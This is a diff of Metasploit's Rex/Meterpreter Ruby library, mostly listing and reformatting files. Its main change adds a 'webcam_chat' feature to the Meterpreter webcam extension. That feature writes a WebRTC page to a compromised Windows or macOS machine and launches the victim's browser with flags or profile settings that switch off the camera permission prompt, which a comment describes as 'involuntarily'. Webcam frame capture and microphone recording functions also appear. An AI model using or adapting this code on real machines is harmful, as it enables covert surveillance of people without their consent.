  462. data/lib/rex/exploitation/omelet.rb.ut.rb +0 -27
  463. data/lib/rex/exploitation/opcodedb.rb.ut.rb +0 -280
  464. data/lib/rex/exploitation/seh.rb.ut.rb +0 -20
  465. data/lib/rex/file.rb.ut.rb +0 -17
  466. data/lib/rex/io/ring_buffer.rb.ut.rb +0 -135
  467. data/lib/rex/nop/opty2.rb.ut.rb +0 -24
  468. data/lib/rex/parser/arguments.rb.ut.rb +0 -68
  469. data/lib/rex/parser/ini.rb.ut.rb +0 -30
  470. data/lib/rex/post/meterpreter/extensions/stdapi/railgun.rb.ts.rb +0 -18
  471. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/api_constants.rb.ut.rb +0 -39
  472. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/buffer_item.rb.ut.rb +0 -37
  473. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll.rb.ut.rb +0 -52
  474. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_function.rb.ut.rb +0 -43
  475. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_helper.rb.ut.rb +0 -128
  476. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/dll_wrapper.rb.ut.rb +0 -64
  477. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/platform_util.rb.ut.rb +0 -29
  478. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/railgun.rb.ut.rb +0 -155
  479. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/type/pointer_util.rb.ut.rb +0 -128
  480. data/lib/rex/post/meterpreter/extensions/stdapi/railgun/win_const_manager.rb.ut.rb +0 -124
  481. data/lib/rex/proto.rb.ts.rb +0 -9
  482. data/lib/rex/proto/dcerpc.rb.ts.rb +0 -10
  483. data/lib/rex/proto/dcerpc/client.rb.ut.rb +0 -492
  484. data/lib/rex/proto/dcerpc/handle.rb.ut.rb +0 -86
  485. data/lib/rex/proto/dcerpc/ndr.rb.ut.rb +0 -42
  486. data/lib/rex/proto/dcerpc/packet.rb.ut.rb +0 -57
  487. data/lib/rex/proto/dcerpc/response.rb.ut.rb +0 -16
  488. data/lib/rex/proto/dcerpc/uuid.rb.ut.rb +0 -47
  489. data/lib/rex/proto/drda.rb.ts.rb +0 -18
  490. data/lib/rex/proto/drda/constants.rb.ut.rb +0 -24
  491. data/lib/rex/proto/drda/packet.rb.ut.rb +0 -110
  492. data/lib/rex/proto/drda/utils.rb.ut.rb +0 -85
  493. data/lib/rex/proto/http.rb.ts.rb +0 -13
  494. data/lib/rex/proto/http/client.rb.ut.rb +0 -96
  495. data/lib/rex/proto/http/handler/erb.rb.ut.rb +0 -22
  496. data/lib/rex/proto/http/handler/erb.rb.ut.rb.rhtml +0 -1
  497. data/lib/rex/proto/http/handler/proc.rb.ut.rb +0 -25
  498. data/lib/rex/proto/http/header.rb.ut.rb +0 -47
  499. data/lib/rex/proto/http/packet.rb.ut.rb +0 -166
  500. data/lib/rex/proto/http/request.rb.ut.rb +0 -215
  501. data/lib/rex/proto/http/response.rb.ut.rb +0 -150
  502. data/lib/rex/proto/http/server.rb.ut.rb +0 -80
  503. data/lib/rex/proto/ntlm.rb.ut.rb +0 -181
  504. data/lib/rex/proto/rfb.rb.ut.rb +0 -40
  505. data/lib/rex/proto/smb.rb.ts.rb +0 -9
  506. data/lib/rex/proto/smb/client.rb.ut.rb +0 -224
  507. data/lib/rex/proto/smb/constants.rb.ut.rb +0 -19
  508. data/lib/rex/proto/smb/simpleclient.rb.ut.rb +0 -129
  509. data/lib/rex/proto/smb/utils.rb.ut.rb +0 -21
  510. data/lib/rex/proto/tftp/server.rb.ut.rb +0 -29
  511. data/lib/rex/service_manager.rb.ut.rb +0 -33
  512. data/lib/rex/socket.rb.ut.rb +0 -108
  513. data/lib/rex/socket/comm/local.rb.ut.rb +0 -76
  514. data/lib/rex/socket/parameters.rb.ut.rb +0 -52
  515. data/lib/rex/socket/range_walker.rb.ut.rb +0 -56
  516. data/lib/rex/socket/ssl_tcp.rb.ut.rb +0 -40
  517. data/lib/rex/socket/ssl_tcp_server.rb.ut.rb +0 -62
  518. data/lib/rex/socket/subnet_walker.rb.ut.rb +0 -29
  519. data/lib/rex/socket/switch_board.rb.ut.rb +0 -53
  520. data/lib/rex/socket/tcp.rb.ut.rb +0 -65
  521. data/lib/rex/socket/tcp_server.rb.ut.rb +0 -45
  522. data/lib/rex/socket/udp.rb.ut.rb +0 -45
  523. data/lib/rex/test.rb +0 -36
  524. data/lib/rex/text.rb.ut.rb +0 -193
  525. data/lib/rex/transformer.rb.ut.rb +0 -39
  526. data/lib/rex/ui/text/color.rb.ut.rb +0 -19
  527. data/lib/rex/ui/text/progress_tracker.rb.ut.rb +0 -35
  528. data/lib/rex/ui/text/table.rb.ut.rb +0 -56
@@ -1,6 +1,7 @@
1
- #!/usr/bin/env ruby
2
1
  # -*- coding: binary -*-
3
2
 
3
+ #require 'rex/post/meterpreter/extensions/process'
4
+
4
5
  module Rex
5
6
  module Post
6
7
  module Meterpreter
@@ -15,49 +16,185 @@ module Webcam
15
16
  ###
16
17
  class Webcam
17
18
 
18
- def initialize(client)
19
- @client = client
20
- end
21
-
22
- def webcam_list
23
- response = client.send_request(Packet.create_request('webcam_list'))
24
- names = []
25
- response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
26
- names << tlv.value
27
- }
28
- names
29
- end
30
-
31
- # Starts recording video from video source of index #{cam}
32
- def webcam_start(cam)
33
- request = Packet.create_request('webcam_start')
34
- request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
35
- client.send_request(request)
36
- true
37
- end
38
-
39
- def webcam_get_frame(quality)
40
- request = Packet.create_request('webcam_get_frame')
41
- request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
42
- response = client.send_request(request)
43
- response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
44
- end
45
-
46
- def webcam_stop
47
- client.send_request( Packet.create_request( 'webcam_stop' ) )
48
- true
49
- end
50
-
51
- # Record from default audio source for #{duration} seconds;
52
- # returns a low-quality wav file
53
- def record_mic(duration)
54
- request = Packet.create_request('webcam_audio_record')
55
- request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
56
- response = client.send_request(request)
57
- response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
58
- end
59
-
60
- attr_accessor :client
19
+ include Msf::Post::Common
20
+ include Msf::Post::File
21
+ include Msf::Post::WebRTC
22
+
23
+ def initialize(client)
24
+ @client = client
25
+ end
26
+
27
+ def session
28
+ @client
29
+ end
30
+
31
+ def webcam_list
32
+ response = client.send_request(Packet.create_request('webcam_list'))
33
+ names = []
34
+ response.get_tlvs( TLV_TYPE_WEBCAM_NAME ).each{ |tlv|
35
+ names << tlv.value
36
+ }
37
+ names
38
+ end
39
+
40
+ # Starts recording video from video source of index +cam+
41
+ def webcam_start(cam)
42
+ request = Packet.create_request('webcam_start')
43
+ request.add_tlv(TLV_TYPE_WEBCAM_INTERFACE_ID, cam)
44
+ client.send_request(request)
45
+ true
46
+ end
47
+
48
+ def webcam_get_frame(quality)
49
+ request = Packet.create_request('webcam_get_frame')
50
+ request.add_tlv(TLV_TYPE_WEBCAM_QUALITY, quality)
51
+ response = client.send_request(request)
52
+ response.get_tlv( TLV_TYPE_WEBCAM_IMAGE ).value
53
+ end
54
+
55
+ def webcam_stop
56
+ client.send_request( Packet.create_request( 'webcam_stop' ) )
57
+ true
58
+ end
59
+
60
+ #
61
+ # Starts a webcam session with a remote user via WebRTC
62
+ #
63
+ # @param server [String] A server to use for the channel.
64
+ # @return void
65
+ #
66
+ def webcam_chat(server)
67
+ offerer_id = Rex::Text.rand_text_alphanumeric(10)
68
+ channel = Rex::Text.rand_text_alphanumeric(20)
69
+
70
+ remote_browser_path = get_webrtc_browser_path
71
+
72
+ if remote_browser_path.blank?
73
+ raise RuntimeError, "Unable to find a suitable browser on the target machine"
74
+ end
75
+
76
+ ready_status = init_video_chat(remote_browser_path, server, channel, offerer_id)
77
+ connect_video_chat(server, channel, offerer_id)
78
+ end
79
+
80
+ # Record from default audio source for +duration+ seconds;
81
+ # returns a low-quality wav file
82
+ def record_mic(duration)
83
+ request = Packet.create_request('webcam_audio_record')
84
+ request.add_tlv(TLV_TYPE_AUDIO_DURATION, duration)
85
+ response = client.send_request(request)
86
+ response.get_tlv( TLV_TYPE_AUDIO_DATA ).value
87
+ end
88
+
89
+ attr_accessor :client
90
+
91
+
92
+ private
93
+
94
+
95
+ #
96
+ # Returns a browser path that supports WebRTC
97
+ #
98
+ # @return [String]
99
+ #
100
+ def get_webrtc_browser_path
101
+ found_browser_path = ''
102
+
103
+ case client.platform
104
+ when /win/
105
+ paths = [
106
+ "Program Files\\Google\\Chrome\\Application\\chrome.exe",
107
+ "Program Files\\Mozilla Firefox\\firefox.exe"
108
+ ]
109
+
110
+ drive = session.sys.config.getenv("SYSTEMDRIVE")
111
+ paths = paths.map { |p| "#{drive}\\#{p}" }
112
+
113
+ # Old chrome path
114
+ user_profile = client.sys.config.getenv("USERPROFILE")
115
+ paths << "#{user_profile}\\Local Settings\\Application Data\\Google\\Chrome\\Application\\chrome.exe"
116
+
117
+ paths.each do |browser_path|
118
+ if file?(browser_path)
119
+ found_browser_path = browser_path
120
+ break
121
+ end
122
+ end
123
+
124
+ when /osx|bsd/
125
+ [
126
+ '/Applications/Google Chrome.app',
127
+ '/Applications/Firefox.app',
128
+ ].each do |browser_path|
129
+ if file?(browser_path)
130
+ found_browser_path = browser_path
131
+ break
132
+ end
133
+ end
134
+ when /linux|unix/
135
+ # Need to add support for Linux in the future.
136
+ # But you see, the Linux meterpreter is so broken there is no point
137
+ # to do it now. You can't test anyway.
138
+ end
139
+
140
+ found_browser_path
141
+ end
142
+
143
+
144
+ #
145
+ # Creates a video chat session as an offerer... involuntarily :-p
146
+ # Windows targets only.
147
+ #
148
+ # @param remote_browser_path [String] A browser path that supports WebRTC on the target machine
149
+ # @param offerer_id [String] A ID that the answerer can look for and join
150
+ #
151
+ def init_video_chat(remote_browser_path, server, channel, offerer_id)
152
+ interface = load_interface('offerer.html')
153
+ api = load_api_code
154
+
155
+ interface = interface.gsub(/\=SERVER\=/, server)
156
+ interface = interface.gsub(/\=CHANNEL\=/, channel)
157
+ interface = interface.gsub(/\=OFFERERID\=/, offerer_id)
158
+
159
+ tmp_dir = session.sys.config.getenv("TEMP")
160
+
161
+ begin
162
+ write_file("#{tmp_dir}\\interface.html", interface)
163
+ write_file("#{tmp_dir}\\api.js", api)
164
+ rescue ::Exception => e
165
+ elog("webcam_chat failed. #{e.class} #{e.to_s}")
166
+ raise RuntimeError, "Unable to initialize the interface on the target machine"
167
+ end
168
+
169
+ #
170
+ # Automatically allow the webcam to run on the target machine
171
+ #
172
+ args = ''
173
+ if remote_browser_path =~ /Chrome/
174
+ args = "--allow-file-access-from-files --use-fake-ui-for-media-stream"
175
+ elsif remote_browser_path =~ /Firefox/
176
+ profile_name = Rex::Text.rand_text_alpha(8)
177
+ o = cmd_exec("#{remote_browser_path} --CreateProfile #{profile_name} #{tmp_dir}\\#{profile_name}")
178
+ profile_path = (o.scan(/created profile '.+' at '(.+)'/).flatten[0] || '').strip
179
+ setting = %Q|user_pref("media.navigator.permission.disabled", true);|
180
+ begin
181
+ write_file(profile_path, setting)
182
+ rescue ::Exception => e
183
+ elog("webcam_chat failed: #{e.class} #{e.to_s}")
184
+ raise RuntimeError, "Unable to write the necessary setting for Firefox."
185
+ end
186
+ args = "-p #{profile_name}"
187
+ end
188
+
189
+ exec_opts = {'Hidden' => false, 'Channelized' => false}
190
+
191
+ begin
192
+ session.sys.process.execute(remote_browser_path, "#{args} #{tmp_dir}\\interface.html", exec_opts)
193
+ rescue ::Exception => e
194
+ elog("webcam_chat failed. #{e.class} #{e.to_s}")
195
+ raise RuntimeError, "Unable to start the remote browser: #{e.message}"
196
+ end
197
+ end
61
198
 
62
199
  end
63
200
 
@@ -1,4 +1,3 @@
1
- #!/usr/bin/env ruby
2
1
  # -*- coding: binary -*-
3
2
 
4
3
  module Rex
@@ -12,19 +11,19 @@ module Meterpreter
12
11
  ###
13
12
  module InboundPacketHandler
14
13
 
15
- #
16
- # Stub request handler that returns false by default.
17
- #
18
- def request_handler(client, packet)
19
- return false
20
- end
14
+ #
15
+ # Stub request handler that returns false by default.
16
+ #
17
+ def request_handler(client, packet)
18
+ return false
19
+ end
21
20
 
22
- #
23
- # Stub response handler that returns false by default.
24
- #
25
- def response_handler(client, packet)
26
- return false
27
- end
21
+ #
22
+ # Stub response handler that returns false by default.
23
+ #
24
+ def response_handler(client, packet)
25
+ return false
26
+ end
28
27
 
29
28
  end
30
29
 
@@ -1,4 +1,3 @@
1
- #!/usr/bin/env ruby
2
1
  # -*- coding: binary -*-
3
2
 
4
3
  module Rex
@@ -13,50 +12,50 @@ module Meterpreter
13
12
  ###
14
13
  module ObjectAliasesContainer
15
14
 
16
- #
17
- # Initialize the instance's aliases.
18
- #
19
- def initialize_aliases(aliases = {})
20
- self.aliases = aliases
21
- end
22
-
23
- #
24
- # Pass-thru aliases.
25
- #
26
- def method_missing(symbol, *args)
27
- self.aliases[symbol.to_s]
28
- end
29
-
30
- #
31
- # Recursively dumps all of the aliases registered with a class that
32
- # is kind_of? ObjectAliases.
33
- #
34
- def dump_alias_tree(parent_path, current = nil)
35
- items = []
36
-
37
- if (current == nil)
38
- current = self
39
- end
40
-
41
- # If the current object may have object aliases...
42
- if (current.kind_of?(Rex::Post::Meterpreter::ObjectAliases))
43
- current.aliases.each_key { |x|
44
- current_path = parent_path + '.' + x
45
-
46
- items << current_path
47
-
48
- items.concat(dump_alias_tree(current_path,
49
- current.aliases[x]))
50
- }
51
- end
52
-
53
- return items
54
- end
55
-
56
- #
57
- # The hash of aliases.
58
- #
59
- attr_accessor :aliases
15
+ #
16
+ # Initialize the instance's aliases.
17
+ #
18
+ def initialize_aliases(aliases = {})
19
+ self.aliases = aliases
20
+ end
21
+
22
+ #
23
+ # Pass-thru aliases.
24
+ #
25
+ def method_missing(symbol, *args)
26
+ self.aliases[symbol.to_s]
27
+ end
28
+
29
+ #
30
+ # Recursively dumps all of the aliases registered with a class that
31
+ # is kind_of? ObjectAliases.
32
+ #
33
+ def dump_alias_tree(parent_path, current = nil)
34
+ items = []
35
+
36
+ if (current == nil)
37
+ current = self
38
+ end
39
+
40
+ # If the current object may have object aliases...
41
+ if (current.kind_of?(Rex::Post::Meterpreter::ObjectAliases))
42
+ current.aliases.each_key { |x|
43
+ current_path = parent_path + '.' + x
44
+
45
+ items << current_path
46
+
47
+ items.concat(dump_alias_tree(current_path,
48
+ current.aliases[x]))
49
+ }
50
+ end
51
+
52
+ return items
53
+ end
54
+
55
+ #
56
+ # The hash of aliases.
57
+ #
58
+ attr_accessor :aliases
60
59
  end
61
60
 
62
61
  ###
@@ -66,18 +65,18 @@ end
66
65
  #
67
66
  ###
68
67
  class ObjectAliases
69
- include Rex::Post::Meterpreter::ObjectAliasesContainer
70
-
71
- ##
72
- #
73
- # Constructor
74
- #
75
- ##
76
-
77
- # An instance
78
- def initialize(aliases = {})
79
- initialize_aliases(aliases)
80
- end
68
+ include Rex::Post::Meterpreter::ObjectAliasesContainer
69
+
70
+ ##
71
+ #
72
+ # Constructor
73
+ #
74
+ ##
75
+
76
+ # An instance
77
+ def initialize(aliases = {})
78
+ initialize_aliases(aliases)
79
+ end
81
80
  end
82
81
 
83
82
 
@@ -1,4 +1,3 @@
1
- #!/usr/bin/env ruby
2
1
  # -*- coding: binary -*-
3
2
 
4
3
  module Rex
@@ -29,13 +28,13 @@ TLV_META_TYPE_COMPLEX = (1 << 31)
29
28
  # Exclude compressed from the mask since other meta types (e.g. RAW) can also
30
29
  # be compressed
31
30
  TLV_META_MASK = (
32
- TLV_META_TYPE_STRING |
33
- TLV_META_TYPE_UINT |
34
- TLV_META_TYPE_RAW |
35
- TLV_META_TYPE_BOOL |
36
- TLV_META_TYPE_QWORD |
37
- TLV_META_TYPE_GROUP |
38
- TLV_META_TYPE_COMPLEX
31
+ TLV_META_TYPE_STRING |
32
+ TLV_META_TYPE_UINT |
33
+ TLV_META_TYPE_RAW |
34
+ TLV_META_TYPE_BOOL |
35
+ TLV_META_TYPE_QWORD |
36
+ TLV_META_TYPE_GROUP |
37
+ TLV_META_TYPE_COMPLEX
39
38
  )
40
39
 
41
40
  #
@@ -101,247 +100,247 @@ LOAD_LIBRARY_FLAG_LOCAL = (1 << 2)
101
100
  #
102
101
  ###
103
102
  class Tlv
104
- attr_accessor :type, :value, :compress
105
-
106
- ##
107
- #
108
- # Constructor
109
- #
110
- ##
111
-
112
- #
113
- # Returns an instance of a TLV.
114
- #
115
- def initialize(type, value = nil, compress=false)
116
- @type = type
117
- @compress = compress
118
-
119
- if (value != nil)
120
- if (type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
121
- if (value.kind_of?(Fixnum))
122
- @value = value.to_s
123
- else
124
- @value = value.dup
125
- end
126
- else
127
- @value = value
128
- end
129
- end
130
- end
131
-
132
- def inspect
133
- utype = type ^ TLV_META_TYPE_COMPRESSED
134
- group = false
135
- meta = case (utype & TLV_META_MASK)
136
- when TLV_META_TYPE_STRING; "STRING"
137
- when TLV_META_TYPE_UINT; "INT"
138
- when TLV_META_TYPE_RAW; "RAW"
139
- when TLV_META_TYPE_BOOL; "BOOL"
140
- when TLV_META_TYPE_QWORD; "QWORD"
141
- when TLV_META_TYPE_GROUP; group=true; "GROUP"
142
- when TLV_META_TYPE_COMPLEX; "COMPLEX"
143
- else; 'unknown-meta-type'
144
- end
145
- stype = case type
146
- when PACKET_TYPE_REQUEST; "Request"
147
- when PACKET_TYPE_RESPONSE; "Response"
148
- when TLV_TYPE_REQUEST_ID; "REQUEST-ID"
149
- when TLV_TYPE_METHOD; "METHOD"
150
- when TLV_TYPE_RESULT; "RESULT"
151
- when TLV_TYPE_EXCEPTION; "EXCEPTION"
152
- when TLV_TYPE_STRING; "STRING"
153
- when TLV_TYPE_UINT; "UINT"
154
- when TLV_TYPE_BOOL; "BOOL"
155
-
156
- when TLV_TYPE_LENGTH; "LENGTH"
157
- when TLV_TYPE_DATA; "DATA"
158
- when TLV_TYPE_FLAGS; "FLAGS"
159
-
160
- when TLV_TYPE_CHANNEL_ID; "CHANNEL-ID"
161
- when TLV_TYPE_CHANNEL_TYPE; "CHANNEL-TYPE"
162
- when TLV_TYPE_CHANNEL_DATA; "CHANNEL-DATA"
163
- when TLV_TYPE_CHANNEL_DATA_GROUP; "CHANNEL-DATA-GROUP"
164
- when TLV_TYPE_CHANNEL_CLASS; "CHANNEL-CLASS"
165
- when TLV_TYPE_CHANNEL_PARENTID; "CHANNEL-PARENTID"
166
-
167
- when TLV_TYPE_SEEK_WHENCE; "SEEK-WHENCE"
168
- when TLV_TYPE_SEEK_OFFSET; "SEEK-OFFSET"
169
- when TLV_TYPE_SEEK_POS; "SEEK-POS"
170
-
171
- when TLV_TYPE_EXCEPTION_CODE; "EXCEPTION-CODE"
172
- when TLV_TYPE_EXCEPTION_STRING; "EXCEPTION-STRING"
173
-
174
- when TLV_TYPE_LIBRARY_PATH; "LIBRARY-PATH"
175
- when TLV_TYPE_TARGET_PATH; "TARGET-PATH"
176
- when TLV_TYPE_MIGRATE_PID; "MIGRATE-PID"
177
- when TLV_TYPE_MIGRATE_LEN; "MIGRATE-LEN"
178
- when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD"
179
- when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
180
-
181
- #when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
182
- #when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
183
- #when Extensions::Stdapi::TLV_TYPE_NETMASK; 'netmask'
184
- #when Extensions::Stdapi::TLV_TYPE_MAC_ADDRESS; 'mac-address'
185
- #when Extensions::Stdapi::TLV_TYPE_MAC_NAME; 'interface-name'
186
- #when Extensions::Stdapi::TLV_TYPE_IP6_SCOPE; 'address-scope'
187
- #when Extensions::Stdapi::TLV_TYPE_INTERFACE_MTU; 'interface-mtu'
188
- #when Extensions::Stdapi::TLV_TYPE_INTERFACE_FLAGS; 'interface-flags'
189
- #when Extensions::Stdapi::TLV_TYPE_INTERFACE_INDEX; 'interface-index'
190
-
191
- else; "unknown-#{type}"
192
- end
193
- val = value.inspect
194
- if val.length > 50
195
- val = val[0,50] + ' ..."'
196
- end
197
- group ||= (self.class.to_s =~ /Packet/)
198
- if group
199
- tlvs_inspect = "tlvs=[\n"
200
- @tlvs.each { |t|
201
- tlvs_inspect << " #{t.inspect}\n"
202
- }
203
- tlvs_inspect << "]"
204
- else
205
- tlvs_inspect = "meta=#{meta.ljust 10} value=#{val}"
206
- end
207
- "#<#{self.class} type=#{stype.ljust 15} #{tlvs_inspect}>"
208
- end
209
-
210
- ##
211
- #
212
- # Conditionals
213
- #
214
- ##
215
-
216
- #
217
- # Checks to see if a TLVs meta type is equivalent to the meta type passed.
218
- #
219
- def meta_type?(meta)
220
- return (self.type & meta == meta)
221
- end
222
-
223
- #
224
- # Checks to see if the TLVs type is equivalent to the type passed.
225
- #
226
- def type?(type)
227
- return self.type == type
228
- end
229
-
230
- #
231
- # Checks to see if the TLVs value is equivalent to the value passed.
232
- #
233
- def value?(value)
234
- return self.value == value
235
- end
236
-
237
- ##
238
- #
239
- # Serializers
240
- #
241
- ##
242
-
243
- #
244
- # Converts the TLV to raw.
245
- #
246
- def to_r
247
- # Forcibly convert to ASCII-8BIT encoding
248
- raw = value.to_s.unpack("C*").pack("C*")
249
-
250
- if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
251
- raw += "\x00"
252
- elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
253
- raw = [value].pack("N")
254
- elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
255
- raw = [ self.htonq( value.to_i ) ].pack("Q")
256
- elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
257
- if (value == true)
258
- raw = [1].pack("c")
259
- else
260
- raw = [0].pack("c")
261
- end
262
- end
263
-
264
- # check if the tlv is to be compressed...
265
- if( @compress )
266
- raw_uncompressed = raw
267
- # compress the raw data
268
- raw_compressed = Rex::Text.zlib_deflate( raw_uncompressed )
269
- # check we have actually made the raw data smaller...
270
- # (small blobs often compress slightly larger then the origional)
271
- # if the compressed data is not smaller, we dont use the compressed data
272
- if( raw_compressed.length < raw_uncompressed.length )
273
- # if so, set the TLV's type to indicate compression is used
274
- self.type = self.type | TLV_META_TYPE_COMPRESSED
275
- # update the raw data with the uncompressed data length + compressed data
276
- # (we include the uncompressed data length as the C side will need to know this for decompression)
277
- raw = [ raw_uncompressed.length ].pack("N") + raw_compressed
278
- end
279
- end
280
-
281
- return [raw.length + 8, self.type].pack("NN") + raw
282
- end
283
-
284
- #
285
- # Translates the raw format of the TLV into a sanitize version.
286
- #
287
- def from_r(raw)
288
- self.value = nil
289
-
290
- length, self.type = raw.unpack("NN");
291
-
292
- # check if the tlv value has been compressed...
293
- if( self.type & TLV_META_TYPE_COMPRESSED == TLV_META_TYPE_COMPRESSED )
294
- # set this TLV as using compression
295
- @compress = true
296
- # remove the TLV_META_TYPE_COMPRESSED flag from the tlv type to restore the
297
- # tlv type to its origional, allowing for transparent data compression.
298
- self.type = self.type ^ TLV_META_TYPE_COMPRESSED
299
- # decompress the compressed data (skipping the length and type DWORD's)
300
- raw_decompressed = Rex::Text.zlib_inflate( raw[8..length-1] )
301
- # update the length to reflect the decompressed data length (+8 for the length and type DWORD's)
302
- length = raw_decompressed.length + 8
303
- # update the raw buffer with the new length, decompressed data and updated type.
304
- raw = [length, self.type].pack("NN") + raw_decompressed
305
- end
306
-
307
- if (self.type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
308
- if (raw.length > 0)
309
- self.value = raw[8..length-2]
310
- else
311
- self.value = nil
312
- end
313
- elsif (self.type & TLV_META_TYPE_UINT == TLV_META_TYPE_UINT)
314
- self.value = raw.unpack("NNN")[2]
315
- elsif (self.type & TLV_META_TYPE_QWORD == TLV_META_TYPE_QWORD)
316
- self.value = raw.unpack("NNQ")[2]
317
- self.value = self.ntohq( self.value )
318
- elsif (self.type & TLV_META_TYPE_BOOL == TLV_META_TYPE_BOOL)
319
- self.value = raw.unpack("NNc")[2]
320
-
321
- if (self.value == 1)
322
- self.value = true
323
- else
324
- self.value = false
325
- end
326
- else
327
- self.value = raw[8..length-1]
328
- end
329
-
330
- return length;
331
- end
332
-
333
- protected
334
-
335
- def htonq( value )
336
- if( [1].pack( 's' ) == [1].pack( 'n' ) )
337
- return value
338
- end
339
- return [ value ].pack( 'Q' ).reverse.unpack( 'Q' ).first
340
- end
341
-
342
- def ntohq( value )
343
- return htonq( value )
344
- end
103
+ attr_accessor :type, :value, :compress
104
+
105
+ ##
106
+ #
107
+ # Constructor
108
+ #
109
+ ##
110
+
111
+ #
112
+ # Returns an instance of a TLV.
113
+ #
114
+ def initialize(type, value = nil, compress=false)
115
+ @type = type
116
+ @compress = compress
117
+
118
+ if (value != nil)
119
+ if (type & TLV_META_TYPE_STRING == TLV_META_TYPE_STRING)
120
+ if (value.kind_of?(Fixnum))
121
+ @value = value.to_s
122
+ else
123
+ @value = value.dup
124
+ end
125
+ else
126
+ @value = value
127
+ end
128
+ end
129
+ end
130
+
131
+ def inspect
132
+ utype = type ^ TLV_META_TYPE_COMPRESSED
133
+ group = false
134
+ meta = case (utype & TLV_META_MASK)
135
+ when TLV_META_TYPE_STRING; "STRING"
136
+ when TLV_META_TYPE_UINT; "INT"
137
+ when TLV_META_TYPE_RAW; "RAW"
138
+ when TLV_META_TYPE_BOOL; "BOOL"
139
+ when TLV_META_TYPE_QWORD; "QWORD"
140
+ when TLV_META_TYPE_GROUP; group=true; "GROUP"
141
+ when TLV_META_TYPE_COMPLEX; "COMPLEX"
142
+ else; 'unknown-meta-type'
143
+ end
144
+ stype = case type
145
+ when PACKET_TYPE_REQUEST; "Request"
146
+ when PACKET_TYPE_RESPONSE; "Response"
147
+ when TLV_TYPE_REQUEST_ID; "REQUEST-ID"
148
+ when TLV_TYPE_METHOD; "METHOD"
149
+ when TLV_TYPE_RESULT; "RESULT"
150
+ when TLV_TYPE_EXCEPTION; "EXCEPTION"
151
+ when TLV_TYPE_STRING; "STRING"
152
+ when TLV_TYPE_UINT; "UINT"
153
+ when TLV_TYPE_BOOL; "BOOL"
154
+
155
+ when TLV_TYPE_LENGTH; "LENGTH"
156
+ when TLV_TYPE_DATA; "DATA"
157
+ when TLV_TYPE_FLAGS; "FLAGS"
158
+
159
+ when TLV_TYPE_CHANNEL_ID; "CHANNEL-ID"
160
+ when TLV_TYPE_CHANNEL_TYPE; "CHANNEL-TYPE"
161
+ when TLV_TYPE_CHANNEL_DATA; "CHANNEL-DATA"
162
+ when TLV_TYPE_CHANNEL_DATA_GROUP; "CHANNEL-DATA-GROUP"
163
+ when TLV_TYPE_CHANNEL_CLASS; "CHANNEL-CLASS"
164
+ when TLV_TYPE_CHANNEL_PARENTID; "CHANNEL-PARENTID"
165
+
166
+ when TLV_TYPE_SEEK_WHENCE; "SEEK-WHENCE"
167
+ when TLV_TYPE_SEEK_OFFSET; "SEEK-OFFSET"
168
+ when TLV_TYPE_SEEK_POS; "SEEK-POS"
169
+
170
+ when TLV_TYPE_EXCEPTION_CODE; "EXCEPTION-CODE"
171
+ when TLV_TYPE_EXCEPTION_STRING; "EXCEPTION-STRING"
172
+
173
+ when TLV_TYPE_LIBRARY_PATH; "LIBRARY-PATH"
174
+ when TLV_TYPE_TARGET_PATH; "TARGET-PATH"
175
+ when TLV_TYPE_MIGRATE_PID; "MIGRATE-PID"
176
+ when TLV_TYPE_MIGRATE_LEN; "MIGRATE-LEN"
177
+ when TLV_TYPE_MIGRATE_PAYLOAD; "MIGRATE-PAYLOAD"
178
+ when TLV_TYPE_MIGRATE_ARCH; "MIGRATE-ARCH"
179
+
180
+ #when Extensions::Stdapi::TLV_TYPE_NETWORK_INTERFACE; 'network-interface'
181
+ #when Extensions::Stdapi::TLV_TYPE_IP; 'ip-address'
182
+ #when Extensions::Stdapi::TLV_TYPE_NETMASK; 'netmask'
183
+ #when Extensions::Stdapi::TLV_TYPE_MAC_ADDRESS; 'mac-address'
184
+ #when Extensions::Stdapi::TLV_TYPE_MAC_NAME; 'interface-name'
185
+ #when Extensions::Stdapi::TLV_TYPE_IP6_SCOPE; 'address-scope'
186
+ #when Extensions::Stdapi::TLV_TYPE_INTERFACE_MTU; 'interface-mtu'
187
+ #when Extensions::Stdapi::TLV_TYPE_INTERFACE_FLAGS; 'interface-flags'
188
+ #when Extensions::Stdapi::TLV_TYPE_INTERFACE_INDEX; 'interface-index'
189
+
190
+ else; "unknown-#{type}"
191
+ end
192
+ val = value.inspect
193
+ if val.length > 50
194
+ val = val[0,50] + ' ..."'
195
+ end
196
+ group ||= (self.class.to_s =~ /Packet/)
197
+ if group
198
+ tlvs_inspect = "tlvs=[\n"
199
+ @tlvs.each { |t|
200
+ tlvs_inspect << " #{t.inspect}\n"
201
+ }
202
+ tlvs_inspect << "]"
203
+ else
204
+ tlvs_inspect = "meta=#{meta.ljust 10} value=#{val}"
205
+ end
206
+ "#<#{self.class} type=#{stype.ljust 15} #{tlvs_inspect}>"
207
+ end
208
+
209
+ ##
210
+ #
211
+ # Conditionals
212
+ #
213
+ ##
214
+
215
+ #
216
+ # Checks to see if a TLVs meta type is equivalent to the meta type passed.
217
+ #
218
+ def meta_type?(meta)
219
+ return (self.type & meta == meta)
220
+ end
221
+
222
+ #
223
